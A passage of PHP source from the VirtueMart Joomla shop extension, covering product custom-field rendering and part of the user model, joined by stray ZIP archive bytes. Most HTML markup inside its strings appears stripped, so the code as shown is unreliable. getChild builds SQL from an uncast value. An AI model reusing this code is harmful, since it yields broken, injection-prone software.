$product->categories; $calculator->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $calculator->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $calculator->productCurrency = isset($product->product_currency)? $product->product_currency:$calculator->productCurrency; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //$free = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); // render select list foreach ($groups as $group) { // $query='SELECT field.`virtuemart_customfield_id` as value ,concat(field.`custom_value`," :bu ", field.`custom_price`) AS text $query = 'SELECT field.`virtuemart_product_id`, `custom_params`,`custom_element`, field.`virtuemart_custom_id`, field.`virtuemart_customfield_id`,field.`custom_value`, field.`custom_price`, field.`custom_param` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id; $query .= ' and is_cart_attribute = 1 and C.`virtuemart_custom_id`=' . (int)$group->virtuemart_custom_id; // We want the field to be ordered as the user defined $query .= ' ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $options = $this->_db->loadObjectList (); //vmdebug('getProductCustomsFieldCart options',$options); $group->options = array(); foreach ($options as $option) { $group->options[$option->virtuemart_customfield_id] = $option; } if ($group->field_type == 'V') { $default = current ($group->options); foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = vmText::_($productCustom->custom_value) . ' ' . $price; } $group->display = VmHTML::select ('customPrice[' . $row . '][' . $group->virtuemart_custom_id . ']', $group->options, $default->custom_value, '', 'virtuemart_customfield_id', 'text', FALSE, false); } else { if ($group->field_type == 'G') { $group->display .= ''; // no direct display done by plugin; } else { if ($group->field_type == 'E') { $group->display = ''; foreach ($group->options as $k=> $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $productCustom->virtuemart_customfield_id = $k; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //legacy, it will be removed 2.2 $productCustom->value = $productCustom->virtuemart_customfield_id; JPluginHelper::importPlugin ('vmcustom'); JPluginHelper::importPlugin ('vmcalculation'); $dispatcher = JDispatcher::getInstance (); $fieldsToShow = $dispatcher->trigger ('plgVmOnDisplayProductVariantFE', array($productCustom, &$row, &$group)); // $group->display .= ' '; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
    ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
    '; } $row++; } $row--; } else { if ($group->field_type == 'U') { foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
    ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
    '; } } } else { if ($group->field_type == 'A') { $group->display = ''; foreach ($group->options as $productCustom) { /* if ((float)$productCustom->custom_price) { $price = $currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($productCustom->custom_price)); } else { $price = ($productCustom->custom_price === '') ? '' : $free; }*/ $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; $group->display .= $this->displayProductCustomfieldFE ($product, $productCustom, $row); $checked = ''; } } else { $group->display = ''; $checked = 'checked="checked"'; foreach ($group->options as $productCustom) { //vmdebug('getProductCustomsFieldCart',$productCustom); $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; // $group->display .= ''; //MarkerVarMods $group->display .= ''; $checked = ''; } } } } } } $row++; } return $groups; } static function _getCustomPrice($customPrice, $currency, $calculator) { if ((float)$customPrice) { $price = strip_tags ($currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($customPrice))); if ($customPrice >0) { $price ="+".$price; } } else { $price = ($customPrice === '') ? '' : vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); } return $price; } /** * Formating front display by roles * for product only ! */ public function displayProductCustomfieldFE (&$product, $customfield, $row = '') { $virtuemart_custom_id = isset($customfield->virtuemart_custom_id)? $customfield->virtuemart_custom_id:0; $value = $customfield->custom_value; $type = $customfield->field_type; $is_list = isset($customfield->is_list)? $customfield->is_list:0; $price = isset($customfield->custom_price)? $customfield->custom_price:0; $is_cart = isset($customfield->is_cart)? $customfield->is_cart:0; //vmdebug('displayProductCustomfieldFE and here is something wrong ',$customfield); if (!class_exists ('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance (); if ($is_list > 0) { $values = explode (';', $value); if ($is_cart != 0) { $options = array(); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } vmJsApi::chosenDropDowns(); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', NULL, 'value', 'text', FALSE, TRUE); } else { $html = ''; $html .= '
    ' . $value . '
    '; return $html; } } else { if ($price > 0) { $price = $currency->priceDisplay ((float)$price); } switch ($type) { case 'A': $options = array(); $session = JFactory::getSession (); $virtuemart_category_id = $session->get ('vmlastvisitedcategoryid', 0, 'vm'); $productModel = VmModel::getModel ('product'); //Note by Jeremy Magne (Daycounts) 2013-08-31 //Previously the the product model is loaded but we need to ensure the correct product id is set because the getUncategorizedChildren does not get the product id as parameter. //In case the product model was previously loaded, by a related product for example, this would generate wrong uncategorized children list $productModel->setId($product->virtuemart_product_id); //parseCustomParams VirtueMartModelCustomfields::bindParameterableByFieldType($customfield); //Todo preselection as dropdown of children //Note by Max Milbers: This is not necessary, in this case it is better to unpublish the parent and to give the child which should be preselected a category //Or it is withParent, in that case there exists the case, that a parent should be used as a kind of mini category and not be orderable. //There exists already other customs and in special plugins which wanna disable or change the add to cart button. //I suggest that we manipulate the button with a message "choose a variant first" //if(!isset($customfield->pre_selected)) $customfield->pre_selected = 0; $selected = JRequest::getVar ('virtuemart_product_id',0); if(is_array($selected) ) { $selected = $selected[0]; } $selected = (int) $selected; $html = ''; $uncatChildren = $productModel->getUncategorizedChildren ($customfield->withParent); if(empty($uncatChildren)){ return $html; break; } foreach ($uncatChildren as $child) { $options[] = array('value' => JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $child['virtuemart_product_id'],FALSE), 'text' => $child['product_name']); } //vmJsApi::chosenDropDowns(); would need class="inputbox vm-chzn-select", but it does not work, in case people have two times the same product, //because both dropdowns have then the same id and the js does not work. $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', 'onchange="window.top.location.href=this.options[this.selectedIndex].value" size="1" class="inputbox"', "value", "text", JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $selected,FALSE)); //vmdebug('$customfield',$customfield); if($customfield->parentOrderable==0 and $product->product_parent_id==0){ $product->orderable = FALSE; } return $html; break; /* variants*/ case 'V': if ($price == 0) $price = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); /* Loads the product price details */ return ' ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . $price . ' '; break; /*Date variant*/ case 'D': return '' . vmJsApi::date ($value, 'LC1', TRUE) . ''; //vmJsApi::jDate($field->custom_value, 'field['.$row.'][custom_value]','field_'.$row.'_customvalue').$priceInput; break; /* text area or editor No vmText, only displayed in BE */ case 'X': case 'Y': return $value; break; /* string or integer */ case 'S': case 'I': return vmText::_ ($value); break; /* bool */ case 'B': if ($value == 0) return vmText::_ ('COM_VIRTUEMART_NO'); return vmText::_ ('COM_VIRTUEMART_YES'); break; /* parent */ case 'P': return '' . vmText::_ ($value) . ''; break; /* related */ case 'R': $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$value,TRUE,TRUE,TRUE,1,FALSE); if(!$related){ vmError('related product is missing, maybe unpublished '.$product->product_name.' id: '.$product->virtuemart_product_id); return false; } $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id,FALSE), $thumb . $related->product_name, array('title' => $related->product_name)); break; /* image */ case 'M': return $this->displayCustomMedia ($value); break; /* categorie */ case 'Z': $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` as l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) WHERE `published`=1 AND l.`virtuemart_category_id`= "' . (int)$value . '" '; $this->_db->setQuery ($q); if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias`WHERE `virtuemart_category_id`= "' . $category->virtuemart_category_id . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $category->virtuemart_category_id, FALSE), $thumb . ' ' . $category->category_name, array('title' => $category->category_name)); } else return ''; /* Child Group list * this have no direct display , used for stockable product */ case 'G': return ''; //' '.vmText::_('COM_VIRTUEMART_CART_PRICE').' : '.$price .' '; break; break; } } } function displayCustomMedia ($media_id, $table = 'product', $absUrl = FALSE) { if (!class_exists ('TableMedias')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'medias.php'); //$data = $this->getTable('medias'); $db = JFactory::getDBO (); $data = new TableMedias($db); $data->load ((int)$media_id); if (!class_exists ('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'mediahandler.php'); $media = VmMediaHandler::createMedia ($data, $table); //if($media_id==0){ // return $media->getIcon('', FALSE, TRUE, TRUE,$absUrl); //} return $media->displayMediaThumb ('', FALSE, '', TRUE, TRUE, $absUrl); } /** * There are too many functions doing almost the same for my taste * the results are sometimes slighty different and makes it hard to work with it, therefore here the function for future proxy use * */ public static function customFieldDisplay ($product, $variantmods, $html, $trigger) { //vmdebug('customFieldDisplay $variantmods',$variantmods); $row = 0; if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); //MarkerVarMods foreach ($variantmods as $selected => $variant) { //foreach ($variantmods as $variant=> $selected) { //vmdebug('customFieldDisplay '.$variant.' '.$selected); if ($selected) { $productCustom = self::getProductCustomField ($selected); //vmdebug('customFieldDisplay',$selected,$productCustom); if (!empty($productCustom)) { $html .= ''; if ($productCustom->field_type == "E") { $product = self::addParam ($product); $product->productCustom = $productCustom; //vmdebug('CustomsFieldCartDisplay $productCustom',$productCustom); // vmdebug('customFieldDisplay $product->param selected '.$selected,$product->param); if (!class_exists ('vmCustomPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ($trigger, array($product, $row, &$html)); } else { //vmdebug('customFieldDisplay $productCustom by self::getProductCustomField $variant: '.$variant.' $selected: '.$selected,$productCustom); $value = ''; if (($productCustom->field_type == "G")) { $child = self::getChild ($productCustom->custom_value); // $html .= $productCustom->custom_title.' '.$child->product_name; $value = $child->product_name; } elseif (($productCustom->field_type == "M")) { // $html .= $productCustom->custom_title.' '.self::displayCustomMedia($productCustom->custom_value); $value = self::displayCustomMedia ($productCustom->custom_value); } elseif (($productCustom->field_type == "S")) { // q $html .= $productCustom->custom_title.' '.vmText::_($productCustom->custom_value); $value = $productCustom->custom_value; } else { // $html .= $productCustom->custom_title.' '.$productCustom->custom_value; //vmdebug('customFieldDisplay',$productCustom); $value = $productCustom->custom_value; } $html .= ShopFunctionsF::translateTwoLangKeys ($productCustom->show_title ? $productCustom->custom_title : '', $value); } $html .= '
    '; } else { // falldown method if customfield are deleted foreach ((array)$selected as $key => $value) { $html .= '
    Couldnt find customfield' . ($key ? '' . $key . ' ' : '') . $value; } } } $row++; } // vmdebug ('customFieldDisplay html begin: ' . $html . ' end'); return $html . '
    '; } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart module FE */ public static function CustomsFieldCartModDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
    ', 'plgVmOnViewCartModule'); } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart FE */ public static function CustomsFieldCartDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
    ', 'plgVmOnViewCart'); } /* * render custom fields display order BE/FE */ public function CustomsFieldOrderDisplay ($item, $view = 'FE', $absUrl = FALSE) { $row = 0; // $item=(array)$item; if (!empty($item->product_attribute)) { $item->param = json_decode ($item->product_attribute, TRUE); // $html = '
    '; if (!empty($item->param)) { return self::customFieldDisplay ($item, $item->param, '
    ', 'plgVmDisplayInOrder' . $view); } else { vmdebug ('CustomsFieldOrderDisplay $item->param empty? '); } } else { // vmTrace('$item->product_attribut is empty'); } return FALSE; } /** * * custom fields for cart and cart module */ public static function getProductCustomField ($selected) { $db = JFactory::getDBO (); $query = 'SELECT C.`virtuemart_custom_id` , `custom_element` , `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_customfield_id` ="' . (int)$selected . '"'; // if($product_parent_id!=0){ // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'" XOR `virtuemart_product_id` ="' . $product_parent_id.'")'; // } else { // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'"'; // } $db->setQuery ($query); return $db->loadObject (); } /* * add parameter to product definition */ public function addParam ($product) { // vmdebug('addParam? ',$product->custom_param,$product->customPlugin); $custom_param = empty($product->custom_param) ? array() : json_decode ($product->custom_param, TRUE); $product_param = empty($product->customPlugin) ? array() : json_decode ($product->customPlugin, TRUE); $params = (array)$product_param + (array)$custom_param; foreach ($params as $key => $param) { $product->param[$key] = $param; } return $product; } public function getChild ($child) { $db = JFactory::getDBO (); $db->setQuery ('SELECT `product_sku`, `product_name` FROM `#__virtuemart_products_' . VMLANG . '` WHERE virtuemart_product_id=' . $child); return $db->loadObject (); } static public function setEditCustomHidden ($customfield, $i) { if (!isset($customfield->virtuemart_customfield_id)) $customfield->virtuemart_customfield_id = '0'; $html = ' '; return $html; } } // pure php no closing tag PKB\%ٵmodels/user.phpnuW+AsetMainTable('vmusers'); $this->setToggleName('user_is_vendor'); $this->addvalidOrderingFieldName(array('ju.username','ju.name','sg.virtuemart_shoppergroup_id','shopper_group_name','shopper_group_desc') ); array_unshift($this->_validOrderingFieldName,'ju.id'); // $user = JFactory::getUser(); // $this->_id = $user->id; } /** * public function Resets the user id and data * * * @author Max Milbers */ public function setId($cid){ $user = JFactory::getUser(); //anonymous sets to 0 for a new entry if(empty($user->id)){ $userId = 0; //echo($this->_id,'Recognized anonymous case'); } else { //not anonymous, but no cid means already registered user edit own data if(empty($cid)){ $userId = $user->id; // vmdebug('setId setCurrent $user',$user->get('id')); } else { if($cid != $user->id){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check("admin")) { $userId = $cid; // vmdebug('Admin watches user, setId '.$cid); } else { JError::raiseWarning(1,'Hacking attempt'); $userId = $user->id; } }else { $userId = $user->id; } } } $this->setUserId($userId); return $userId; } /** * Internal function * * @param unknown_type $id */ private function setUserId($id){ $app = JFactory::getApplication(); // if($app->isAdmin()){ if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; $this->customer_number = 0; } // } } public function getCurrentUser(){ $user = JFactory::getUser(); $this->setUserId($user->id); return $this->getUser(); } private $_defaultShopperGroup = 0; /** * Sets the internal user id with given vendor Id * * @author Max Milbers * @param int $vendorId */ function getVendor($vendorId=1,$return=TRUE){ $vendorModel = VmModel::getModel('vendor'); $userId = VirtueMartModelVendor::getUserIdByVendorId($vendorId); if($userId){ $this->setUserId($userId); if($return){ return $this->getUser(); } } else { return false; } } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * @author Max Milbers */ function getUser(){ if(!empty($this->_data)) return $this->_data; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('vmusers'); $this->_data->load((int)$this->_id); // vmdebug('$this->_data->vmusers',$this->_data); $this->_data->JUser = JUser::getInstance($this->_id); // vmdebug('$this->_data->JUser',$this->_data->JUser); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $this->_data->perms = Permissions::getInstance()->getPermissions((int)$this->_id); // Add the virtuemart_shoppergroup_ids $xrefTable = $this->getTable('vmuser_shoppergroups'); $this->_data->shopper_groups = $xrefTable->load($this->_id); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); if($site){ if(empty($this->_data->shopper_groups)) $this->_data->shopper_groups = array(); $shoppergroupmodel->appendShopperGroups($this->_data->shopper_groups,$this->_data->JUser,$site); } if(!empty($this->_id)) { $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' . (int)$this->_id.'"'; $this->_db->setQuery($q); $userInfo_ids = $this->_db->loadResultArray(0); } else { $userInfo_ids = array(); } // vmdebug('my query',$this->_db->getQuery()); //vmdebug('my $_ui',$userInfo_ids,$this->_id); $this->_data->userInfo = array (); $BTuid = 0; foreach($userInfo_ids as $uid){ $this->_data->userInfo[$uid] = $this->getTable('userinfos'); $this->_data->userInfo[$uid]->load($uid); if ($this->_data->userInfo[$uid]->address_type == 'BT') { $BTuid = $uid; $this->_data->userInfo[$BTuid]->name = $this->_data->JUser->name; $this->_data->userInfo[$BTuid]->email = $this->_data->JUser->email; $this->_data->userInfo[$BTuid]->username = $this->_data->JUser->username; $this->_data->userInfo[$BTuid]->address_type = 'BT'; // vmdebug('$this->_data->vmusers',$this->_data); } } // vmdebug('user_is_vendor ?',$this->_data->user_is_vendor); if($this->_data->user_is_vendor){ $vendorModel = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')=='none'){ $this->_data->virtuemart_vendor_id = 1; //vmdebug('user model, single vendor',$this->_data->virtuemart_vendor_id); } $vendorModel->setId($this->_data->virtuemart_vendor_id); $this->_data->vendor = $vendorModel->getVendor(); } return $this->_data; } /** * Retrieve contact info for a user if any * * @return array of null */ function getContactDetails() { if ($this->_id) { $this->_db->setQuery('SELECT * FROM #__contact_details WHERE user_id = ' . $this->_id); $_contacts = $this->_db->loadObjectList(); if (count($_contacts) > 0) { return $_contacts[0]; } } return null; } /** * Functions belonging to get_groups_below_me Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_id( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( JVM_VERSION === 2) { $return = $var_2; } else { $return = $this->_acl->get_object_id( $var_1, $var_2, $var_3 ); } return $return; } /** * Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_groups( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( version_compare(JVERSION,'1.6.0','ge') ) { $user_id = ( is_integer( $var_1 ) ? $var_1 : $var_2 ); $recurse = ( $var_3 == 'RECURSE' ? true : false ); $return = $this->_acl->getGroupsByUser( $user_id, $recurse ); } else { if ( ! $var_2 ) { $var_2 = 'ARO'; } if ( ! $var_3 ) { $var_3 = 'NO_RECURSE'; } $return = $this->_acl->get_object_groups( $var_1, $var_2, $var_3 ); } return $return; } /** * Remap literal groups (such as in default values) to the hardcoded CMS values * * @param string|array $name of int|string * @return int|array of int */ function mapGroupNamesToValues( $name ) { static $ps = null; $selected = (array) $name; foreach ( $selected as $k => $v ) { if ( ! is_numeric( $v ) ) { if ( ! $ps ) { if ( JVM_VERSION === 2 ) { $ps = array( 'Root' => 0 , 'Users' => 0 , 'Public' => 1, 'Registered' => 2, 'Author' => 3, 'Editor' => 4, 'Publisher' => 5, 'Backend' => 0 , 'Manager' => 6, 'Administrator' => 7, 'Superadministrator' => 8 ); } else { $ps = array( 'Root' => 17, 'Users' => 28, 'Public' => 29, 'Registered' => 18, 'Author' => 19, 'Editor' => 20, 'Publisher' => 21, 'Backend' => 30, 'Manager' => 23, 'Administrator' => 24, 'Superadministrator' => 25 ); } } if ( array_key_exists( $v, $ps ) ) { if ( $ps[$v] != 0 ) { $selected[$k] = $ps[$v]; } else { unset( $selected[$k] ); } } else { $selected[$k] = (int) $v; } } } if ( ! is_array( $name ) ) { $selected = $selected[0]; } return $selected; } function get_group_children_tree( $var_1 = null, $var_2 = null, $var_3 = null, $var_4 = null ) { $_CB_database = &$this->getDbo(); if ( ! $var_4 ) { $var_4 = true; } if ( JVM_VERSION === 2 ) { $query = 'SELECT a.' . $_CB_database->NameQuote( 'id' ) . ' AS value' . ', a.' . $_CB_database->NameQuote( 'title' ) . ' AS text' . ', COUNT( DISTINCT b.' . $_CB_database->NameQuote( 'id' ) . ' ) AS level' . "\n FROM " . $_CB_database->NameQuote( '#__usergroups' ) . " AS a" . "\n LEFT JOIN " . $_CB_database->NameQuote( '#__usergroups' ) . " AS b" . ' ON a.' . $_CB_database->NameQuote( 'lft' ) . ' > b.' . $_CB_database->NameQuote( 'lft' ) . ' AND a.' . $_CB_database->NameQuote( 'rgt' ) . ' < b.' . $_CB_database->NameQuote( 'rgt' ) . "\n GROUP BY a." . $_CB_database->NameQuote( 'id' ) . "\n ORDER BY a." . $_CB_database->NameQuote( 'lft' ) . " ASC"; $_CB_database->setQuery( $query ); $groups = $_CB_database->loadObjectList(); $user_groups = array(); for ( $i = 0, $n = count( $groups ); $i < $n; $i++ ) { $groups[$i]->text = str_repeat( '- ', $groups[$i]->level ) . JText::_( $groups[$i]->text ); if ( $var_4 ) { $user_groups[$i] = JHtml::_( 'select.option', $groups[$i]->value, $groups[$i]->text ); } else { $user_groups[$i] = array( 'value' => $groups[$i]->value, 'text' => $groups[$i]->text ); } } $return = $user_groups; } else { if ( ! $var_3 ) { $var_3 = true; } $return = $this->_acl->get_group_children_tree( $var_1, $var_2, $var_3, $var_4 ); } return $return; } /** * Return a list with groups that can be set by the current user * * @return mixed Array with groups that can be set, or the groupname (string) if it cannot be changed. */ function getGroupList() { if(JVM_VERSION === 2) { //hm CB thing also not help // $_grpList = $this->get_groups_below_me(); // return $_grpList; /* if(!class_exists('UsersModelUser')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_users'.DS.'models'.DS.'user.php'); $jUserModel = new UsersModelUser(); $list = $jUserModel->getGroups(); $user = JFactory::getUser(); if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users')) { $model = JModel::getInstance('Groups', 'UsersModel', array('ignore_request' => true)); return $model->getItems(); } else { return null; }*/ $user = JFactory::getUser(); $authGroups = JAccess::getGroupsByUser($user->id); // $authGroups = $user->getAuthorisedGroups(); // vmdebug('getGroupList j17',$authGroups); $db = $this->getDbo(); $where = implode($authGroups,'" OR `id` = "').'"'; $q = 'SELECT `id` as value,`title` as text FROM #__usergroups WHERE `id` = "'.$where; $db->setQuery($q); $list = $db->loadAssocList(); // foreach($list as $item){ // vmdebug('getGroupList $item ',$item); // } // vmdebug('getGroupList $q '.$list); return $list; } else { $_aclObject = JFactory::getACL(); if(empty($this->_data)) $this->getUser(); if (JVM_VERSION>1){ //TODO fix this latter. It's just an workarround to make it working on 1.6 $gids = $this->_data->JUser->get('groups'); return array_flip($gids); } $_usr = $_aclObject->get_object_id ('users', $this->_data->JUser->get('id'), 'ARO'); $_grp = $_aclObject->get_object_groups ($_usr, 'ARO'); $_grpName = strtolower ($_aclObject->get_group_name($_grp[0], 'ARO')); $_currentUser = JFactory::getUser(); $_my_usr = $_aclObject->get_object_id ('users', $_currentUser->get('id'), 'ARO'); $_my_grp = $_aclObject->get_object_groups ($_my_usr, 'ARO'); $_my_grpName = strtolower ($_aclObject->get_group_name($_my_grp[0], 'ARO')); // administrators can't change each other and frontend-only users can only see groupnames if (( $_grpName == $_my_grpName && $_my_grpName == 'administrator' ) || !$_aclObject->is_group_child_of($_my_grpName, 'Public Backend')) { return $_grpName; } else { $_grpList = $_aclObject->get_group_children_tree(null, 'USERS', false); $_remGroups = $_aclObject->get_group_children( $_my_grp[0], 'ARO', 'RECURSE' ); if (!$_remGroups) { $_remGroups = array(); } // Make sure privs higher than my own can't be granted if (in_array($_grp[0], $_remGroups)) { // nor can privs of users with higher privs be decreased. return $_grpName; } $_i = 0; $_j = count($_grpList); while ($_i < $_j) { if (in_array($_grpList[$_i]->value, $_remGroups)) { array_splice( $_grpList, $_i, 1 ); $_j = count($_grpList); } else { $_i++; } } return $_grpList; } } } /** * Bind the post data to the JUser object and the VM tables, then saves it * It is used to register new users * This function can also change already registered users, this is important when a registered user changes his email within the checkout. * * @author Max Milbers * @author Oscar van Eijk * @return boolean True is the save was successful, false otherwise. */ public function store(&$data,$checkToken = TRUE){ $message = ''; $user = ''; $newId = 0; if($checkToken){ JRequest::checkToken() or jexit( 'Invalid Token, while trying to save user' ); $mainframe = JFactory::getApplication() ; } if(empty($data)){ vmError('Developer notice, no data to store for user'); return false; } //To find out, if we have to register a new user, we take a look on the id of the usermodel object. //The constructor sets automatically the right id. $new = ($this->_id < 1); if(empty($this->_id)){ $user = new JUser(); //thealmega http://forum.virtuemart.net/index.php?topic=99755.msg393758#msg393758 } else { $user = JFactory::getUser($this->_id); } $gid = $user->get('gid'); // Save original gid // Preformat and control user datas by plugin JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $valid = true ; $dispatcher->trigger('plgVmOnBeforeUserfieldDataSave',array(&$valid,$this->_id,&$data,$user )); // $valid must be false if plugin detect an error if( $valid == false ) { return false; } // Before I used this "if($cart && !$new)" // This construction is necessary, because this function is used to register a new JUser, so we need all the JUser data in $data. // On the other hand this function is also used just for updating JUser data, like the email for the BT address. In this case the // name, username, password and so on is already stored in the JUser and dont need to be entered again. if(empty ($data['email'])){ $email = $user->get('email'); if(!empty($email)){ $data['email'] = $email; } } else { $data['email'] = JRequest::getString('email', '', 'post', 'email'); } $data['email'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['email']); //This is important, when a user changes his email address from the cart, //that means using view user layout edit_address (which is called from the cart) $user->set('email',$data['email']); if(empty ($data['name'])){ $name = $user->get('name'); if(!empty($name)){ $data['name'] = $name; } } else { $data['name'] = JRequest::getString('name', '', 'post', 'name'); } $data['name'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['name']); if(empty ($data['username'])){ $username = $user->get('username'); if(!empty($username)){ $data['username'] = $username; } else { $data['username'] = JRequest::getVar('username', '', 'post', 'username'); } } if(empty ($data['password'])){ $data['password'] = JRequest::getVar('password', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(empty ($data['password2'])){ $data['password2'] = JRequest::getVar('password2', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(!$new && !empty($data['password']) && empty($data['password2'])){ unset($data['password']); unset($data['password2']); } // Bind Joomla userdata if (!$user->bind($data)) { foreach($user->getErrors() as $error) { // vmError('user bind '.$error); vmError('user bind '.$error,JText::sprintf('COM_VIRTUEMART_USER_STORE_ERROR',$error)); } $message = 'Couldnt bind data to joomla user'; array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>false); } if($new){ // If user registration is not allowed, show 403 not authorized. // But it is possible for admins and storeadmins to save $usersConfig = JComponentHelper::getParams( 'com_users' ); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!Permissions::getInstance()->check("admin,storeadmin") && $usersConfig->get('allowUserRegistration') == '0') { VmConfig::loadJLang('com_virtuemart'); JError::raiseError( 403, JText::_('COM_VIRTUEMART_ACCESS_FORBIDDEN')); return; } $authorize = JFactory::getACL(); // Initialize new usertype setting $newUsertype = $usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ( 